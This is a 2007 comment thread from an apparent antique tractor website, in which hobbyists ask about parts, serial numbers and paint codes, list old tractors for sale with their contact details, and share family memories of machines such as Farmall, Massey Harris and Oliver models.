JIM TROSKA wrote on Saturday, October 20, 2007 (PDT):I have a 36 or37 sk,i need a starter i think itis a autolight #mz4165,all so the traney is locked up i have it soking in diesel fuel for about three weeks and it is still tite,how do i get it loose
bill holscher wrote on Saturday, October 20, 2007 (PDT):I Have a 1939 S C case would like to sale. you can call me at 812-769-4731 vincennes,indiana 47591
Bill wrote on Friday, October 19, 2007 (PDT):I have a leader tractor that is a 47BR. What does the R mean Thanks Bill
John wrote on Friday, October 19, 2007 (PDT):I would use PB Blaster rather than cola to free an engine.
John wrote on Friday, October 19, 2007 (PDT): We used to have a TD14. We currently have a TD18a which has a 6 cylinder engine it runs but need to get it running on gas. We also have 2 TD9s.
John wrote on Friday, October 19, 2007 (PDT):I beleive that all of the 12 series used the same engine and carb
Lyle Sylvester wrote on Thursday, October 18, 2007 (PDT):I have a farmall cub motor, off a 1950 hay baler. Good motor. Has been stored in side. I would like 800.00 for it. 10/20/07
Steve Shimanek wrote on Thursday, October 18, 2007 (PDT):Have Fergusen 12 plow looking for two new plow points. #point 2 bottem Model 12-AO-28 NO.41043. Looking for any information Thanks
Tim ruble wrote on Thursday, October 18, 2007 (PDT):I have a 1959 HD-6 Allis-Chalmers crawler. I would like to know where the hydraulic fluid filter is located.
BRETT wrote on Thursday, October 18, 2007 (PDT):I have a Field Marshall tractor but do not know where to find the serial number,or how to identify the model.I think that it is a series 2 as it only has one gear lever and the brakes are hand operated with levers.Can anyone advise me on the above
andy brubaker wrote on Thursday, October 18, 2007 (PDT):to reply to your question curt baartman..the one we have is propane and the 670 is to they both start anytime of the year...they seem to start alot easier in the winter than diesals and gas tractors...
Andy Brubaker wrote on Thursday, October 18, 2007 (PDT):ya we got an m5 on our dairy farm we still use it quite a bit its a little workhorse ive only been on one m5 that has the m5 rear end the one we have has an m670 rear end because the original went bad...so we made the 670 an irrigation pump and kept the rear end for the m5 it runs just as great!
Andy Brubaker wrote on Thursday, October 18, 2007 (PDT):me and my dad have a G 1000 its a row crop version its a hoss you can put it up against anything and it will take it down i would defintly recomend it for any job
Andy Brubaker wrote on Thursday, October 18, 2007 (PDT):ya i ve used a 1066 on many farms and i ve covered alot of ground with one they are a good tractor but i never cared to much for the shifter linkage once those get sloppy they always wanna lock in 2 gears pretty bad other than that i think they are wonderful
Ken Taylor wrote on Thursday, October 18, 2007 (PDT):I Would like to know what my mid 50 s MH pony is worth. It has t ran in 10 years. it is pretty much complete with wheel wieghts.
Kent wrote on Wednesday, October 17, 2007 (PDT):looking for a 1600 or bigger. only have 2000. any one have anything for that price call 360-318-9291
Bill Yacey wrote on Tuesday, October 16, 2007 (PDT):My dad has a 1953 MH 55 Diesel that my grandfather bought new. This tractor had the optional extra wide Goodyear tires in the back and still runs great. This tractor also has the hydraulic unit option that bolts onto the PTO shaft at the back of the tractor. He also has a 555 diesel that is essentially the same tractor, except it has live hydraulics and power steering driven off a pump at the front/side of the motor. As well there is a little chrome hood ornament that the 55 didn t have and a little flip-up door on the hood just behind the radiator.
Perrin Hayes wrote on Tuesday, October 16, 2007 (PDT):Am looking for spark plugs for a mid 1920,s lightweight Oil Pull. Do not have any part numbers.
Rob Reiner wrote on Tuesday, October 16, 2007 (PDT):I have just finished repairing my dad s 1927-2744 Twin City. I m looking for parts for this tractor or someone with knowledge of collecting twin city tractors. My dad also owned a 1220 twin city at one time and would be interesed in finding one of them to restore.
John Krull wrote on Tuesday, October 16, 2007 (PDT):My Father also has some MM tractors a 602 LP 705 MF97 LP and a 1355 D. My brother is looking for a G1000 Vista LP. He is looking to farm with them again in SW Iowa. Might entertain a 1050 LP also.
Dan March wrote on Monday, October 15, 2007 (PDT):I have my dads very first tractor he ever bought an AC-B . One of my very first memories of my dad and I spending time together was time on that big-little B-tractor. I was in high-school before I got around to doing anything with that tractor, but finely did get it running and loved every minute of it. After that, I ended up being hooked on Allis Chalmers Tractors. The very first tractor on the farm that my Grate Grandfather was able to afford was an AC-WC. Many years later, my Grandfather purchased an AC-WD45. Growing up I have many fond memories of on that WD45, making Hay in the summer, collecting sap in the snow for Maple Syrup, and fire wood when ever we had time to do it. Now with my Grandfather gone for some time and my dad with his small fleet of Case Tractors, the WD has been greatly neglected. But good news for the old Allis, I inherited it. She needs allot of work, new rebuilt engine, new rims and tires and some other small items that would make it a real prize on my Wife and I s farm. But after trying to get some info to fix it, I have found that I don t know as much about that tractor as I thought. Like were the best place to get good parts, or what Torque to Wheel Rating it has. If any on could help me out to get started, It would be greatly appreciated. Also would like to know what the Torque to Wheel Rating the WC and the B has also.
robert harris wrote on Monday, October 15, 2007 (PDT):i have antique parts for a toy ford tractor it is blue in color i am in chipley, florida my cell number is 850-703-9233
dennis ball wrote on Sunday, October 14, 2007 (PDT):i have a freind who has a 98 massey and needs gril left at right sides if any one knows of any please let us know thanks
Charles wrote on Sunday, October 14, 2007 (PDT):I have a 1947 Silver King Model 42. Can anyone tell me what the original tire size was for a 38 inch rim.
clay nelsen wrote on Saturday, October 13, 2007 (PDT):my dad had a 8n with the 6 cyl in it, it also had a loader on it. it had over sized tires on the rear with calcium in them. this tractor was a POWER house! it was unstopable. we lived in loveland, CO and he sold it about 6 years ago. I would love to find it again and buy it from the new owner. big mistake selling it.
Francis Willett wrote on Friday, October 12, 2007 (PDT):I have a 1948 Cub FCUB Serial #11377 that I am looking to have it fully restored as a gift for my father. Tractor was his fathers and has been garaged and runs well. Does anyone know any good restoration service people in New England Please Email me at fswillett at comcast.net. Thanks
kevin salmi wrote on Friday, October 12, 2007 (PDT):I have an Allis WD Tractor For Sale. 1949,50 Narrow Front. It has been all painted.Looks nice,Runs nice. Has new rear tires, new battery. Also it has 3-Point Hitch Set up. And live power. Sheet metal,and overall tractor looks real nice. Asking 2,300 obo. Also i have a WD Tractor For Sale for parts. Call or e-mail me. 1-906-3566573 Located in Upper Michigan.
Eldred Stigleman wrote on Thursday, October 11, 2007 (PDT):Could a 1939 co-op have a frisco standard engine it has the two letters FS on the side of the block. If so where could I find a manual and parts THANKS
todd veinot wrote on Thursday, October 11, 2007 (PDT):I have 1954 pacer all comeplete
Andy H wrote on Wednesday, October 10, 2007 (PDT):I have a 44 Massey Harris 4 cyl. I painted it but ineed the following things carb, radaitor, hand crank an maybe some cultivators Thanks
Dan Rivers wrote on Wednesday, October 10, 2007 (PDT):I am restoring my second 1952 cases sc. i am looking for another tractor for parts w/engine.I am from Massachusettes. I will travel far to get what i need Please if you know of anyone that would like to sell some parts or complete,let me know.
mark mahieu wrote on Wednesday, October 10, 2007 (PDT):I m searching for a 15 30 on steel any out there
Dan Colglazier wrote on Wednesday, October 10, 2007 (PDT): Have B farmall cult.for sale---lever type -my brother still has my dads 1944 B farmall he bought new in 1944, I still mow with a farmall A and B on my farm.Ph.812-522-3449
Dayo wrote on Wednesday, October 10, 2007 (PDT):i recently purchased an imt tractor tip/god 579 No;701002879 snaga 70 o/min 2000 reg plate pej 513s and am looking for any information regarding this tractor i.e year of manufacture and registration would appreciate any info! thanks!!
Darrell C wrote on Wednesday, October 10, 2007 (PDT):Willing to buy a D-21 from any Canadian sources, running or not, would like It to have 3 pth. thanks give me a call at 902-882-3135. Would also consider the eastern sea board of the United States.Thanks
Don Fleming wrote on Tuesday, October 09, 2007 (PDT):Farmall H M rpm hunting ....Bushings are worn in the governor....Replace same rpm will be stable..Same fix for other models with similar magneto/governor setup...
Garry Hanson wrote on Tuesday, October 09, 2007 (PDT):I own a 1927 1530 McCormick Deering tractor! Needs TLC on carb.She is up for sale too! 1900 OBO these tractors r all on steel!
Garry Hanson wrote on Tuesday, October 09, 2007 (PDT):I own a 1928 15-30 McCormick Deering tractor. Needs Carb. work + its up for sale 700.00 OBO PH.1-306-634-7632
Garry Hanson wrote on Tuesday, October 09, 2007 (PDT):I have a 1927 1020 McCormick Deering tractor on steel! Needs TLC on Carb. And is up for sale PH.1-306 634-7632 Estevan SK.
James N. McCulley wrote on Tuesday, October 09, 2007 (PDT):I grew up on a model 60 JD. It was my granddaddy s tractor. My dad has it now. He still uses it some on the farm. I still get to drive it some raking hay. To me that tractor is priceless. I would love to restore it. Maybe one day i can. It doesnt have power steering or live pto. It s still an awesome tractor!
Hector J Ortiz wrote on Tuesday, October 09, 2007 (PDT):I have a 22, that s all I know about it. Been running good but last week OCT .6,07 started grinding around the drive shaft at the tranny. Is there a way to grease it or is it sealed.
Stephen Tkachyk wrote on Monday, October 08, 2007 (PDT):I was asked by an old friend of my father who is restoring a CASE L and a LA tractor to try and find out the paint codes for each. Could any one help me with this do I need a specific year Thanks
steve wrote on Monday, October 08, 2007 (PDT):I have a good d12 seriesII,my uncle bought it new,in good shape . worth
M Poss wrote on Monday, October 08, 2007 (PDT):I have a 1938 F-20 that i need brake cables for and also need to know how they attach to the brakeshaft. can anyone help me
Brad Stevens wrote on Sunday, October 07, 2007 (PDT):I have a 1953 Super M Diesel I would like to sell. Runs smooth and tin is good. Needs paint, tires are ok, and just some tlc. It has rear wheel weights with drawbar.
sam kinser wrote on Sunday, October 07, 2007 (PDT):case sold
ken cardillo wrote on Sunday, October 07, 2007 (PDT):I have an ac B 1938 I need bearings for the rear of the tractor. Bull pinion bearings,axle shaft bearings seals races, bottom shaft seal differential seals.Ihave hit adead end!PLEASE HELP!!!
Chris Penton wrote on Friday, October 05, 2007 (PDT):Looking for engine parts for a Y91 Continental engine in a Massey Harris Pacer #16 Please help
Bill Beabout wrote on Wednesday, October 03, 2007 (PDT):Looking for Farmall B for my son. My father had one which my son learned on. MO/KS area best. would like in runing condition, will do paint, tune up and minor repairs. Thanks Bill B
Brad Bates wrote on Wednesday, October 03, 2007 (PDT):Have a M-H-F pony with grey paint underneath the red, would like to paint it correct grey color. Do you have this code tires also say M-H-F Thanks for info - by the way, what is it worth in super nice shape i ts sheet metal is all original and very very straight. thanks
Brian wrote on Tuesday, October 02, 2007 (PDT):I m looking for a left footrest for a 420C. please let me know how much . please send a photo if possible. thank you.
David James wrote on Tuesday, October 02, 2007 (PDT):I have a friend in New Zealand,who buried her fathers samson tractor,and i know where it is, it has been underground for around 40 years dose anyone one think if it is salvagable
Bill Weddle wrote on Monday, October 01, 2007 (PDT):I SAW A 44 6CYL. MASSEY HARRIS ON RFDTV THAT WAS A SPECIAL TRACTOR BUILT FOR THE ARMY. I HAVE ONE THAT MAY FIT THAT DESCRIPTION. MINE WAS USED BY THE OKLA. CONSERVATION SERVICE. IT HAS 6 CYL FLAT HEAD CONT. ENGINE LIFTING LUGS ANDTHE FRONT TIRES ARE JEEP TIRES. IT HAS FENDERS COMPLETE PLATFORM NO HYD SYSTEM 24VOLT ELECT SYSTEM.IT IS PAINTED HIGHWAY YELLOW BUT I CAN SEE SOME ARMY GREEN ON SOME OF IT AND SOME RED ON THE TRANS. IF IT IS RARE WILL SOMEONE LET ME KNOW Thanks
Garry Hanson wrote on Monday, October 01, 2007 (PDT):I own a 1928 15-30 McCormick Deering. Needs Carborator work and it s for sale! Also have a 1927 McCormick Deering tractor needs TLC on carberator to run good, it s also for sale. Both of these tractors are on steel wheels!
Garry Hanson wrote on Monday, October 01, 2007 (PDT):I own a i928 15-30 McCormick Deering. Needs Carborator work and it s for sale! Also have a 1927 McCormick Deering tractor needs TLC on carberator to run good, it s also for sale
Ken wrote on Monday, October 01, 2007 (PDT):Our farm firm melted the front emblem to our Oliver 770 and we are looking for a replacement part...any suggestions would be greatly appreciated!!!
Garry Hanson wrote on Sunday, September 30, 2007 (PDT):We would like to maybe purchase an 880 tractor. Does anybody have one for sale or up for auction
C.W.Seaman wrote on Saturday, September 29, 2007 (PDT):Have 1950 MFWD GM engine for sale. 7500.00 785 885 4277
Garry Hanson wrote on Saturday, September 29, 2007 (PDT):Will you sell that 1957 Super 44 G Ball
Garry Hanson wrote on Saturday, September 29, 2007 (PDT):My dad is looking for a super 55 he will pay up to 4500 for one. i hope u could sell us one!
Rob wrote on Friday, September 28, 2007 (PDT):Looking for a head gasket for a cockshutt 50 desiel. Any help would be great!
Dennis wrote on Thursday, September 27, 2007 (PDT):Would appreciate info on firing order for cockshutt 50 6 cyl gas. Thanks in advance. Dennis
Dennis wrote on Thursday, September 27, 2007 (PDT):Would appreciate info on firing order for cockshutt 50 6 cyl gas. Thanks in advance. Dennis
Dennis wrote on Thursday, September 27, 2007 (PDT):Would appreciate info on firing order for cockshutt 50 6 cyl gas. Thanks in advance. Dennis
Ken Hess wrote on Wednesday, September 26, 2007 (PDT):I was at the Mabel, MN Steam Engine days Sep. 8th and they had a Rumely 14-28 there and also there was a quite small Rumely Oil Pull that was only about 8 ft. long. I couldn t find any details on it. I thought at first it was a Do-All but now see that it wasn t. Is there a way I could submit photos and see if anyone could identify this small Rumely Also I have a picture of another steam engine tractor that I can t identify. It is similar to a Port Huron but the name on the front of the boiler is something else that I can t read. Thanks for any assistance. Ken Hess
max wrote on Wednesday, September 26, 2007 (PDT):hi everyone i love oliver tractors and would like to buy an 1950 any price!!
Bob wrote on Thursday, September 20, 2007 (PDT):I am looking for a loader to fit my 160 ac that is located in southeastern US
jhonny boy wrote on Thursday, September 20, 2007 (PDT):I have a 1958 ac d-14 and i have low oil pressure with a brand new motor i was wondering where i can get a pressure relief ball and spring or and a new oil pump thanks for your help.
martyn Lloyd wrote on Thursday, September 20, 2007 (PDT):I own a 1959 fordson dexta 3cyl with live drive pto which i am just starting to renivate could you please advise me what colour should the wheels,grill etc etc to bring it back to its original state
James Morse wrote on Tuesday, September 18, 2007 (PDT):I am thinking of purchasing a d-17, this is setting a junk yard. I was wondering a couple of things about this tractor. First what is a far price for one missing a radiator, and I think the governor and has a knock in engine tires fair, paint, needs repainted, and am I right about thinking the governor being on the right side up near fan Thanks need answer asap.
Joe schumacher wrote on Tuesday, September 18, 2007 (PDT):My dad farms with masseys and I plan to also, I am collecting them and have; 33row crop 44 diesel row crop 44 diesel standard 444 standard Western- I think feurgson 30 and a 44-6 I am in central MN and am buying and selling masseys. Thank You.
Ed Collins wrote on Sunday, September 16, 2007 (PDT):I am loking for an engine rebuild kit for a Hercules 198 cu. in. overhead valve for a Cockshutt 35
Ken Bulmer wrote on Friday, September 14, 2007 (PDT):I have a 1954 or 1953 fordson major diesel.I used for a year now and love it.I have injector problems i thought.I had the injector worked on and they thouhgt I was missing a part off the injector.Where the rack is located. the housing and external fuel switch I thought that it was modified anyone know about this
sam kinser wrote on Friday, September 14, 2007 (PDT):regarding the 98 it has been taken off the market
Jason J. Snudden wrote on Wednesday, September 12, 2007 (PDT):Have been left in charge of my grandfathers 25-45 X . This is one of my favorite of his collection. I enjoy running it every year at the Rock River Thresheree. Does anyone have time to chat about running the old girl. I generally dont have any problems starting her, when she is cool or shaded, thanks Mr. Standish for that info, I was wondering if the heat of the day was a factor, and I do think it is . Just looking for some fine tuning or general operational information, thanks.
karsky wrote on Saturday, September 08, 2007 (PDT):The Bull Tractor Company was located in Minneapolis Minnesota. The Bull listed for 585. Motor was 10hp drawbar 7 guaranteed 25hp belt 20 guaranteed . It had Direct drive with only 4 gears.
chris zankowski wrote on Friday, September 07, 2007 (PDT):I have a pony needs some work ,runs I was thinking about selling it i was wondering if anyone knew about how much to ask for it thanks chris
chris zankowski wrote on Friday, September 07, 2007 (PDT):I have a pony needs some work ,runs I was thinking about selling it i was wondering if anyone knew about how much to ask for it thanks chris
Big Mike wrote on Thursday, September 06, 2007 (PDT):I have 3 W4 s and a W6 all original and still in use on our nova Scotia farm. When the wheel weights are removed from my W4 s they have spokes like the one in the picture. Mine aren t pretty but they earn their keep, all start with the crank. All 4 are badged McCormick, great site.
Kami Garner wrote on Thursday, September 06, 2007 (PDT):My Mother has a 1937 F20 Farmall that doesn t run and the tires are no good. It is all rusty and it has a Buckhorn cast iron seat on it. Can you tell me what the value might be or where I could find it. She is needing to get rid of it. Thank you.
Matthew Kramlich wrote on Wednesday, September 05, 2007 (PDT):My father in-law has a Rock Island model G, not a G-2. I believe it was built in either 27 or 28. It has the Waukesha engine that is cradled in engine frame rails. I have done a bit of research on this model and I get the impression that the G model is extremely rare. Does anyone out there have an estimate on the value of this tractor It has not run in a long time and needs complete restoration, but the entire tractor is complete minus the magneto on the engine. Otherwise nothing is missing.
Rich St.Petery wrote on Tuesday, September 04, 2007 (PDT):Does anyone have an engine for a 60/62-3 OC46 Gass 3 cyl. herculese Where how much
PAUL SCHOPBACH wrote on Tuesday, September 04, 2007 (PDT):HELLO I AM IN PROCESS OF RESTORING A 10-20 TITAN AND AM LOOKING FOR A SET OF THE BRAKE CAMS AND PEDALS YEAR 1919 PLEASE EMAIL ME THANK YOU
jacob wrote on Sunday, September 02, 2007 (PDT):if any one has a transmission and pto shaft i would be very intrested jsanor at windstream.net
Bill wrote on Sunday, September 02, 2007 (PDT):my father just bought a H-3 crawler serial 8694AN can someone tell me what year this machine is where should i look for an exhaust manifold what parts interchange any help would be greatly appreciated. email is hunnybear at chartermi.net
Dave Barker wrote on Friday, August 31, 2007 (PDT):I have a 1945 VAIW. It was brought into a little town in B.C. Canada to work in a sawmill shunting box cars. The mill cut box shook used for making the old wooden apple boxes. It stayed there until the 60 s when they quit making wooden boxes and shut the mill down. The local town bought it and put a hokey blade on it controlled with a hand winch. It was used to plow snow off the side walks and the local ice rink. There is a picture in Tractor Photos
JOHN MAYSE - STUARTS DRAFT, VA. PHONE 540-337-1115 wrote on Friday, August 31, 2007 (PDT):I HAVE A FRIEND WHO HAS A SUPER 44 OLIVER AND NEED A HYDRAULIC PMP. OR SOMEONE TO TELL ME WHAT IS WRONG WITH SYSTEM AS IT KEEPS BLOWING SEAL BETWEEN PMP AND MTR. PLEASE REPLY WITH PHONE NO AND I WILL CALL YOU THANKS
Harold Culbertson wrote on Thursday, August 30, 2007 (PDT):A friend of mine has aquired what I beleave to be an O-14 and I would like to know where to find a hood and other cosmetic parts for this tractor.
tractor boy wrote on Wednesday, August 29, 2007 (PDT):Nice tractor I just bought a W4 the other day.
tractor boy wrote on Wednesday, August 29, 2007 (PDT):Nice tractor I just bought a W4 the other day.
Bob Stevens wrote on Tuesday, August 28, 2007 (PDT):got a 1967 D10 III and some parts..... web site.... home.alltel.net/bobstevens
Kay Schmitt wrote on Monday, August 27, 2007 (PDT):I have a 1948 E3 Co-op tractor. My husband passed away last Oct and planning to restore this tractor this last winter. It has been shedded for 13 yrs. He had it running 2 years ago. It is in good shape. Does anyone know what it might be worth. Thanks Kay Schmitt
Everett C. Smith wrote on Sunday, August 26, 2007 (PDT):My Father in-law, Herman Lawson Of Portland, Ind. was a Minneapolis Moline dealer for many years. I can remember plowing for him eith a G-1000. Due to my inexperience I scorched the clutch by using too high gear, it just would not pull down. I just ran across a set of toys he had given my daughters for Christmas, a G-1000, 4 btm. plow, disk, gravity wagon and machinery shed. Sure brings back memories. E. C. Smith
RONNIE CLINES wrote on Sunday, August 26, 2007 (PDT):I AM TRYINY TO FIND INFORMATION ON THE OS4. FROM 1947 TO 1952. THANKS FOR ANY HELP PICTURE WOULD BE GREAT
phillip baquera wrote on Saturday, August 25, 2007 (PDT):1900 tractors had hydrolic steering if i recall right. have one for sale minus engine. i belive it s a 1963 year modle. been setting for many years.make offer.
Dick Witmer wrote on Saturday, August 25, 2007 (PDT):I started pulling my 55 gas tractor this year. I pull 3500, 4000, and 4500 pounds. I hooked it 5 times and was last only on the first pull. Next year I want to pull both tractors. It will be interesting to see the difference in gas and diesel, and, firestone and good year tires.
Dick Witmer wrote on Saturday, August 25, 2007 (PDT):I have 2 super 55 tractors. One is a 1955 diesel that my Dad bought new. The other is a 1957 gas that I bought more than 10 years ago. I have a lot of memories on the diesel. I am finally getting it back together. Hope to have it running in the next few weeks. Someone should still be building these tractors today.
Barry Steel wrote on Saturday, August 25, 2007 (PDT):I have had a 1953 Fordson major diesel and have used it to cut 5 acres of grass with gang mowers every week for the last 11 years and are just now having the injectors refurbished. This is the first time I have had to spend on it. It starts first time every time and is a brilliant tractor.
jacob sanor wrote on Tuesday, August 21, 2007 (PDT):just bought a leader intrested in what it is worth and ight want to sell have not looked yet but belive it is a b and it is complete
bill Hale wrote on Monday, August 20, 2007 (PDT):Where is this tractor located Please advise me. Thanks
Lance P wrote on Saturday, August 18, 2007 (PDT):looking for a d 21 to buy
Lance P wrote on Saturday, August 18, 2007 (PDT):If anyone has any parts or or information on a tractor like this, please email it to me. I am interested in fixing mine up.Thanks
Lance P wrote on Friday, August 17, 2007 (PDT):Hey i am looking for a 220 Allis to restore If u are interested in selling one, or no one is please email me and give me info.
David wrote on Friday, August 17, 2007 (PDT):Hi! Good site respect! home depot expo Visit home depot expo Thanks!
Teri Jensen wrote on Thursday, August 16, 2007 (PDT):My Dad and brother was in the process of restoring a 66 Row Crop when my brother was killed in a farming accident in 1985. My dad finished the mechanical part of the restoration shortly afterwards. Now, 20 years later, the tractor still runs great. My mom keeps it in a shed and my husband and I use it to mow, rake and bale hay all summer long. In the fall, our neighbor has a plowing party that consists only of old tractors, and we use this one then also. It is a wonderful machine. If you are looking for a smaller tractor like this one, check e-bay. They are on there all the time.
RICHARD F SPRAGUE wrote on Tuesday, August 14, 2007 (PDT):LOOK FOR, 3 POINT HITCH OR ANY PARTS OR ANYTHING,THAT WOUID GO ON D-10 AC. THANK YOU
Wayne Niccum wrote on Tuesday, August 14, 2007 (PDT):Hello, does the lady named vickie still have all those V8 flatheads where are you located thank you for your time. also looking for a ford two roll planter. thanks, wayne niccum in Indiana
gittangus farms wrote on Tuesday, August 14, 2007 (PDT):I looking to buy a d21 and a 220 in real good shape to restore. What is a good deal and what sould a guy be looking for when buying one If any one knows where these are please call 660-295-4614 thank
sam kinser wrote on Saturday, August 11, 2007 (PDT):i have a massey 98 and i would like to sell it for 100,000 ia just put a set of brand new set of firestones on it and they were the only set for sale in the country my number is 276-988-3827 i live in tazewell, Virginia
Alan Blankenship wrote on Wednesday, August 08, 2007 (PDT):I have a 1956 60propane for sale or trade.. If your intersted email me at abgrays33 at cableone.net
JEAN-MARIE BOURQUE wrote on Monday, August 06, 2007 (PDT):I have a 1952 massey- harres 22 IM LOOCKING FOR A RING GEAR WIHT 103 TEETH WERE CANT I FOUND ONE .PS ENGINE 4 CLY. CCONTENENTIAL ENGINE THANK YOU
cmccoy wrote on Monday, August 06, 2007 (PDT):I have a 1963 Oliver 770 RC that I just now am restoring. I am very close to completing the total engine rebuild. This will be a nice tractor. Glad to here everyones great opinions on this model. I bought most everything from Korves Oliver company. Chris
Ray wrote on Sunday, August 05, 2007 (PDT):There is an unrestored Lindeman for sale on Craigslist for 10,000. It is located in Dallas, Texas. The Email address for information is; sale-388079082 at craigslist.org
Ronnie Martinek wrote on Monday, July 30, 2007 (PDT):i use to own 2 farmall B s and they are good tractors they can burn all day on 5 gallon of gas the most important thing u need to know about theese tractors is dont leave them out in the weather too long or else u may find water mix into the oil in ure transmission somehow rain gets into there keep them iside a shed if not in use for a while.
Jim Iverson wrote on Sunday, July 29, 2007 (PDT): How do I remove the sector gear on a 1952 B John Deere tractor The I T shop manual suggests using a wheel knocker to do this if what is a wheel knocker
Bill Bailey wrote on Thursday, July 26, 2007 (PDT):My family has a 1938 Case, model C that my grandfather bought new. I grew riding and driving it but the engine locked up a few years ago and it s been sitting in our wagon shed, but we think we can free it with some diesel in the cylinders. I m looking for fenders as I plan to restore it.
Joe Wilbur wrote on Monday, July 23, 2007 (PDT):I have a Leader Tractor for sale, it has been sitting for many years. Doesn t run yet, haven t done anything to it yet though. It seems to be complete. All tires hold air. It looks like the one in the picture. Email me for pics and make offers. I live in NH, if you want it shipped you handle that. Thanks, Joe genexreptiles at comcast.net
Joe wrote on Monday, July 23, 2007 (PDT):I recently started to restore a W-4. I do not know the exact year does any one know how to tell the year I am also looking for pictures of the W-4 and the implements that were used on the tractor in the North East.
Jim Braid wrote on Sunday, July 22, 2007 (PDT):I lived in Alaska for years and bought a 1952 MM. It was used as a military airplane tug... wheel weights on all four wheels, even the seat was a big block of steel. 24volt starter and lights. I put a snowblower on it with its own engine. Moved a lot of snow with it for about 5 yrs. sold it but now wish I still had that old MM.
Tom wrote on Saturday, July 21, 2007 (PDT):Does anyone have a source for sheet metal Also need an engine block for a 55 gas.
Dennis wrote on Friday, July 20, 2007 (PDT):Does anyone have a NTX for sale
Isaac Reichert wrote on Friday, July 20, 2007 (PDT):I have a 1957 Cockshutt Blackhawk 35 wide front end. I was wondering how rare this tractor is and what is the paint codes for it.
ken butterworth wrote on Thursday, July 19, 2007 (PDT):I am looking for a 1954 cockshutt 20 with a wide front end. i sold it feb. 1961 at my granfather s farm sale to go to college. I am now retired from teaching school and want the tractor back to use on my dad s farm. The sale was near Waynesville, ohio 45068. Located between dayton and Cincinnati Ohio My name is ken butterworth 2821 wilmington road lebanon,ohio 45036 phone 513-932-1837 Any help would be appreciated! I know it is long shot.
ken butterworth wrote on Thursday, July 19, 2007 (PDT):I am looking for a 1954 cockshutt 20 with a wide front end. i sold it feb. 1961 at my granfather s farm sale to go to college. I am now retired from teaching school and want the tractor back to use on my dad s farm. The sale was near Waynesville, ohio 45068. Located between dayton and
Lourdes wrote on Tuesday, July 17, 2007 (PDT):I have a oliver 55 and I would like to know how much hydraulic oil it uses
lee thomas wrote on Saturday, July 14, 2007 (PDT):Darryl where are you located and do you have a price on the leader thanks lee
scott b. wrote on Thursday, July 12, 2007 (PDT):can anyone help me find manuals brochures, literature on a Z series model ZM. yes, ZM. they were used for military and very few made. my relative has one restored and i would like to get some things as gifts. any help would be appreciated.scott
Steve wrote on Thursday, July 12, 2007 (PDT):I have 2 Oliver row crop 70. 1 is a parts tractor the other I am trying to restore. The block is cracked and I am having a hard time finding a motor or motor parts. Im stuck. If you have any suggestions or ideas please email me. Any info would be greatly appreciated. I also have extra parts for sale if anyone is intersted. I have spoke rims, fenders, rolling chassie, rough sheet metal. Thanks
Peter wrote on Sunday, July 08, 2007 (PDT):I just bought a 1947 J D model H and it doesn t have a PTO located on the back of the tractor. I am curious if the H does come with a rear PTO and if so, can I retro fit one on I am also curious if a snow plow can be fitted to the H Thanks Pete cell 508-826-2526
Frank Naeger wrote on Friday, July 06, 2007 (PDT):Looking for seat, spring, shock, mounting brakets, any and all parts to put back together right. Thanks Frank
Darryl Miller wrote on Friday, July 06, 2007 (PDT):My deceased father had a 1949 Leader Model D rebuilt and drove it and showed it for a few years. It has not been driven or started for several years. The tractor is ready for a new home. Any ideas Thanks for your help.
Shelly wrote on Wednesday, July 04, 2007 (PDT):Does anyone know anything about the Mason Implement Co. in Lancaster, Ohio. The address was on E. Main Street. I am sure the company no longer exists or has been bought by a different company. It is important, if anyone has this info, thanks in advance.
John Shannon wrote on Tuesday, July 03, 2007 (PDT):I have a 51 Ferguson TO-20 that I want to repaint, but am having trouble finding the original paint. Would appreciate any help. John
Rick Bossi wrote on Sunday, July 01, 2007 (PDT):I own an Allis Chalmers model M. not sure of the year.runs great,does need a intake/exhaust system. also an air cleaner assembly.got it running this year.possiblly want to sell.bought a kobota tractor.Or if someone has the parts i need maybe intrested in them.
Todd wrote on Sunday, July 01, 2007 (PDT):Does anyone know what is the horse power differance between a D14 and a D15 Tractor. Also looking for a D14 or D15 in the Minnesota or Wisconson area. Thanks.
J. R. Patton wrote on Saturday, June 30, 2007 (PDT):I have an 841 LP propane tractor that has developed some bearing problems. I need information on where to obtain some parts for the engine, inserts, pistons, rings, rods, etc . I am located in the Texas Panhandle so of they are close it would help. Thanks.
Ralph Beals wrote on Friday, June 29, 2007 (PDT):As a teen in the late 50 s our neighbor had a SD3 that I did some farming with. This tractor is now located at Ft. Recovery, OH and I see it occasionally at the Tri State Engine and Tractor show in Portland, IN. It brings back a lot of good memories to see the same tractor I used 50+ years ago.
Tom Hogue wrote on Tuesday, June 26, 2007 (PDT): I need a rear sprocket for a 1958 oc 4-3d
allison woolaver wrote on Monday, June 25, 2007 (PDT):cockshutt 2o deluxe for sale restored.cockshutt 40 deluxe diesel for sale restored .
Eddie Rowland wrote on Monday, June 25, 2007 (PDT):I have a collection of Hart-Parrs and Olivers that I am going to sell,but do not know how to price them.I should could some help. The list of tractors is as follows,Hart-Parr 1828,2844,70,the Olivers 60,70s,80s,90.I also have afew other tractors from MM,Farnall,Mc.Deering.Thanks for any help.
Paul Williams wrote on Sunday, June 24, 2007 (PDT):I have a 1900 Oliver which I purchased near Elkart, IN in 2002. I pull a Rhino TW84 brush-hog and a John Deere PK-01 offset disk with it, mostly on some land in central Arkasnas. Lots of power and easy on fuel.
Philip Rock wrote on Wednesday, June 20, 2007 (PDT):I have a picture of a McCormick Deering steel track tractor, picture from the late 1930 s ro early 40 s. It is pulling a McCormick Deering Combine. This tractor has the name written on the hood on the front of the tractor just above the radiator . Can t tell what model, must have 24 to 30 inch tracks. Was International and McCormick the same at that time or was McCormick seperate from International.
RALPH K wrote on Tuesday, June 19, 2007 (PDT):I wish this were the year 1950 again !!!!!!!!!!
jr ellis wrote on Tuesday, June 19, 2007 (PDT):I have a farmall 350 gas. The engine is locked up. I need to find out where to get the year and serial numbers off this machine so I can rebuild it. Any other infomation you have would be helpful to.Thanks
question wrote on Monday, June 11, 2007 (PDT):Did the Oliver 880 come with a 7 main engine
doug wrote on Monday, June 11, 2007 (PDT):i have a ford 8n with a front end pump for a loader. the shaft stripped off going to the crank. can anyone tell me where to get a shaft and if its a easy fix
Ron Johannsen wrote on Sunday, June 10, 2007 (PDT):Twin-City Tractors; What was the color of the tractor off the line. I understand they were Grey, but I see a lot of them in shows with red wheels and lettering What was the true issue color of an old Twin-City tractor Ron.
perry smith wrote on Saturday, June 09, 2007 (PDT):i have what i think is a W4 or O4,the serial number tag is missing the only numbers i have is the serial number on the motor DBHM-12325 can anyone help with info.
